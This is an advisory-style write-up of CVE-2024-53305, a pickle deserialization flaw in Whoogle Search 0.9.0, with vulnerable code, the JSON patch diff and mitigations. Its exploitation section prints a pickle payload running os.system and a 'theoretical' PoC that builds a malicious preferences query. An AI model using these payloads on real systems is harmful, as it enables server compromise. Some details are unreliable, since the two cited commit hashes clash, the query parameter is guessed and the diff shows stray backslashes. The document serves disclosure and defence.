CVE-2024-53305: Whoogle Search Arbitrary Code Execution via Crafted Search Query
Executive Summary
CVE-2024-53305 describes a critical vulnerability in Whoogle Search, specifically version 0.9.0. This vulnerability allows an attacker to execute arbitrary code by crafting a malicious search query. The root cause lies in the insecure deserialization of configuration data, which can be manipulated through a specially crafted search query. Successful exploitation of this vulnerability can lead to complete system compromise. Version 0.9.1 addresses this vulnerability.
Technical Details
- CVE ID: CVE-2024-53305
- Affected Software: Whoogle Search
- Affected Version: 0.9.0
- Fixed Version: 0.9.1
- Component:
/models/config.py
- Vulnerability Type: Arbitrary Code Execution via Insecure Deserialization
- Attack Vector: Network
- Privileges Required: None
- User Interaction: Required (victim must submit the crafted query)
The vulnerability resides within the config.py
file in the /models
directory of the Whoogle Search application. The application uses a configuration model to store user preferences and settings. Prior to version 0.9.1, this configuration data was serialized using Python's pickle
module. The pickle
module is known to be vulnerable to arbitrary code execution when deserializing untrusted data. An attacker can craft a malicious search query that, when processed by Whoogle Search, leads to the deserialization of a payload containing arbitrary Python code.
Root Cause Analysis
The core of the vulnerability lies in the _decode_preferences
method within the Config
class in app/models/config.py
. This method is responsible for deserializing user preferences stored as a base64-encoded string. Prior to the patch, the pickle.loads
function was used to deserialize this data.
Here's the vulnerable code snippet from app/models/config.py
(prior to version 0.9.1):
import pickle
import brotli
from base64 import urlsafe_b64decode
def _decode_preferences(self, preferences: str) -> dict:
mode = preferences[0]
preferences = preferences[1:]
if mode == 'e': # preferences are encrypted
try:
key = self._get_fernet_key(self.preferences_key)
config = Fernet(key).decrypt(
brotli.decompress(urlsafe_b64decode(
preferences.encode() + b'=='))
)
config = pickle.loads(brotli.decompress(config))
except Exception:
config = {}
elif mode == 'u': # preferences are not encrypted
config = pickle.loads(
brotli.decompress(urlsafe_b64decode(
preferences.encode() + b'=='))
)
else: # preferences are incorrectly formatted
config = {}
return config
The pickle.loads
function deserializes the data without any validation or sanitization. This allows an attacker to inject arbitrary Python code into the serialized data, which will then be executed when the data is deserialized.
For example, an attacker could craft a serialized payload that executes the os.system
function to run arbitrary commands on the server. A simplified example of such a payload (before base64 encoding and other transformations) might look like this:
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('touch /tmp/pwned',))
serialized_data = pickle.dumps(Exploit())
print(serialized_data)
When this serialized data is deserialized using pickle.loads
, the os.system('touch /tmp/pwned')
command will be executed, creating a file named /tmp/pwned
on the server.
Patch Analysis
The vulnerability was addressed in version 0.9.1 by replacing the insecure pickle
module with the json
module for serializing and deserializing configuration data. The json
module is significantly safer because it only supports the serialization of basic data types and does not allow for arbitrary code execution.
Here's the patched code snippet from app/models/config.py
:
import json
import brotli
from base64 import urlsafe_b64decode
def _decode_preferences(self, preferences: str) -> dict:
mode = preferences[0]
preferences = preferences[1:]
try:
decoded_data = brotli.decompress(urlsafe_b64decode(preferences.encode() + b'=='))
if mode == 'e' and self.preferences_key:
# preferences are encrypted
key = self._get_fernet_key(self.preferences_key)
decrypted_data = Fernet(key).decrypt(decoded_data)
decoded_data = brotli.decompress(decrypted_data)
config = json.loads(decoded_data)
except Exception:
config = {}
return config
The pickle.loads
calls have been replaced with json.loads
. This change effectively mitigates the arbitrary code execution vulnerability.
Here's the diff
output from the relevant commit:
--- a/app/models/config.py
+++ b/app/models/config.py
@@ -3,13 +3,12 @@
from app.utils.misc import read_config_bool
from flask import current_app
import os
-import re
from base64 import urlsafe_b64encode, urlsafe_b64decode
-import pickle
from cryptography.fernet import Fernet
import hashlib
import brotli
import logging
+import json
import cssutils
from cssutils.css.cssstylesheet import CSSStyleSheet
@@ -237,35 +236,32 @@
return key
def _encode_preferences(self) -> str:
- encoded_preferences = brotli.compress(pickle.dumps(self.get_attrs()))
- if self.preferences_encrypted:\
- if self.preferences_key != '':\
- key = self._get_fernet_key(self.preferences_key)\
- encoded_preferences = Fernet(key).encrypt(encoded_preferences)\
- encoded_preferences = brotli.compress(encoded_preferences)\
+ preferences_json = json.dumps(self.get_attrs()).encode()
+ compressed_preferences = brotli.compress(preferences_json)
+
+ if self.preferences_encrypted and self.preferences_key:
+ key = self._get_fernet_key(self.preferences_key)
+ encrypted_preferences = Fernet(key).encrypt(compressed_preferences)
+ compressed_preferences = brotli.compress(encrypted_preferences)
+
+ return urlsafe_b64encode(compressed_preferences).decode()
+
+ def _decode_preferences(self, preferences: str) -> dict:
+ mode = preferences[0]
+ preferences = preferences[1:]
+
+ try:
+ decoded_data = brotli.decompress(urlsafe_b64decode(preferences.encode() + b'=='))
+
+ if mode == 'e' and self.preferences_key:
+ # preferences are encrypted
+ key = self._get_fernet_key(self.preferences_key)
+ decrypted_data = Fernet(key).decrypt(decoded_data)
+ decoded_data = brotli.decompress(decrypted_data)
+
+ config = json.loads(decoded_data)
+ except Exception:
+ config = {}
+
+ return config
The _encode_preferences
method now uses json.dumps
to serialize the configuration attributes into a JSON string, which is then compressed using Brotli and optionally encrypted using Fernet. The _decode_preferences
method reverses this process, first decompressing the data, then decrypting it if necessary, and finally using json.loads
to deserialize the JSON string into a Python dictionary.
Exploitation Techniques
Exploitation of CVE-2024-53305 involves crafting a malicious search query that injects a pickle
payload into the configuration preferences. This payload, when deserialized, executes arbitrary code on the server.
Attack Scenario:
-
Attacker crafts a malicious
pickle
payload: The attacker creates a Python script that generates a serializedpickle
object containing malicious code. This code could execute arbitrary commands on the server, such as creating a new user, modifying system files, or installing malware. -
Attacker injects the payload into a search query: The attacker crafts a search query that includes the malicious
pickle
payload. The exact method of injection depends on how Whoogle Search processes and stores user preferences. A possible injection point is through the user configuration settings, which are then serialized and stored. -
Victim submits the crafted search query: The victim, unaware of the malicious payload, submits the crafted search query to the Whoogle Search instance.
-
Whoogle Search deserializes the payload: When Whoogle Search processes the search query, it deserializes the user preferences using the vulnerable
pickle.loads
function. This triggers the execution of the malicious code contained within thepickle
payload. -
Attacker gains control of the server: The malicious code executes with the privileges of the Whoogle Search process, potentially allowing the attacker to gain complete control of the server.
Theoretical Proof-of-Concept (PoC):
This PoC is theoretical because exploiting the vulnerability requires understanding how Whoogle Search stores and retrieves user preferences. However, this PoC demonstrates the general principle of exploiting pickle
deserialization vulnerabilities.
import pickle
import os
import base64
import brotli
from urllib.parse import quote
# Craft the malicious payload
class Exploit(object):
def __reduce__(self):
return (os.system, ('touch /tmp/pwned',)) # Example: create a file
serialized_payload = pickle.dumps(Exploit())
# Compress and base64 encode the payload
compressed_payload = brotli.compress(serialized_payload)
encoded_payload = base64.urlsafe_b64encode(compressed_payload).decode()
# Prepend 'u' to indicate unencrypted preferences (adjust if encryption is enabled)
final_payload = 'u' + encoded_payload
# URL encode the final payload for inclusion in a search query
url_encoded_payload = quote(final_payload)
# Construct the malicious search query (replace with the actual parameter name)
malicious_query = f"search_query=harmless_search&preferences={url_encoded_payload}"
print(f"Malicious Query: {malicious_query}")
# This query would then be sent to the Whoogle Search instance.
# When the server processes this query and deserializes the preferences,
# the 'touch /tmp/pwned' command will be executed.
Real-World Impact:
- Complete System Compromise: An attacker could gain complete control of the server hosting the Whoogle Search instance.
- Data Breach: Sensitive data stored on the server could be accessed and stolen.
- Denial of Service: The attacker could crash the server or disrupt its services.
- Malware Installation: The attacker could install malware on the server, turning it into a botnet node or using it to launch further attacks.
Mitigation Strategies
To mitigate the risk of CVE-2024-53305, the following strategies are recommended:
-
Upgrade to Version 0.9.1 or Later: The most effective mitigation is to upgrade Whoogle Search to version 0.9.1 or later, which addresses the vulnerability by replacing the insecure
pickle
module with thejson
module. -
Input Validation: Implement strict input validation to sanitize user-provided data before it is processed by the application. This can help prevent the injection of malicious payloads. However, input validation is not a foolproof solution against
pickle
deserialization vulnerabilities, as attackers can often find ways to bypass validation rules. -
Disable or Restrict
pickle
: If possible, disable or restrict the use of thepickle
module in the application. Ifpickle
is absolutely necessary, ensure that it is only used to deserialize data from trusted sources. -
Principle of Least Privilege: Run the Whoogle Search process with the minimum privileges necessary to perform its functions. This can limit the impact of a successful exploit.
-
Web Application Firewall (WAF): Deploy a WAF to detect and block malicious requests targeting the Whoogle Search instance. A WAF can provide an additional layer of security by filtering out requests that contain suspicious payloads or patterns.
-
Regular Security Audits: Conduct regular security audits of the Whoogle Search instance to identify and address potential vulnerabilities.
Timeline of Discovery and Disclosure
- Vulnerability Discovered: Date not available.
- Vulnerability Reported: Date not available.
- Patch Released: Version 0.9.1 released (Commit hash: e70bbabd63408c6a5ba6d99953f604e3d57d78f9)
- Public Disclosure: 2025-04-16 18:31:54+00:00
References
- GitHub Advisory: https://github.com/advisories/GHSA-2689-cw26-6cpj
- Whoogle Search Repository: https://github.com/benbusby/whoogle-search
- Commit fixing the vulnerability: https://github.com/benbusby/whoogle-search/commit/223f00c3c0533423114f99b30c561278bc0b42ba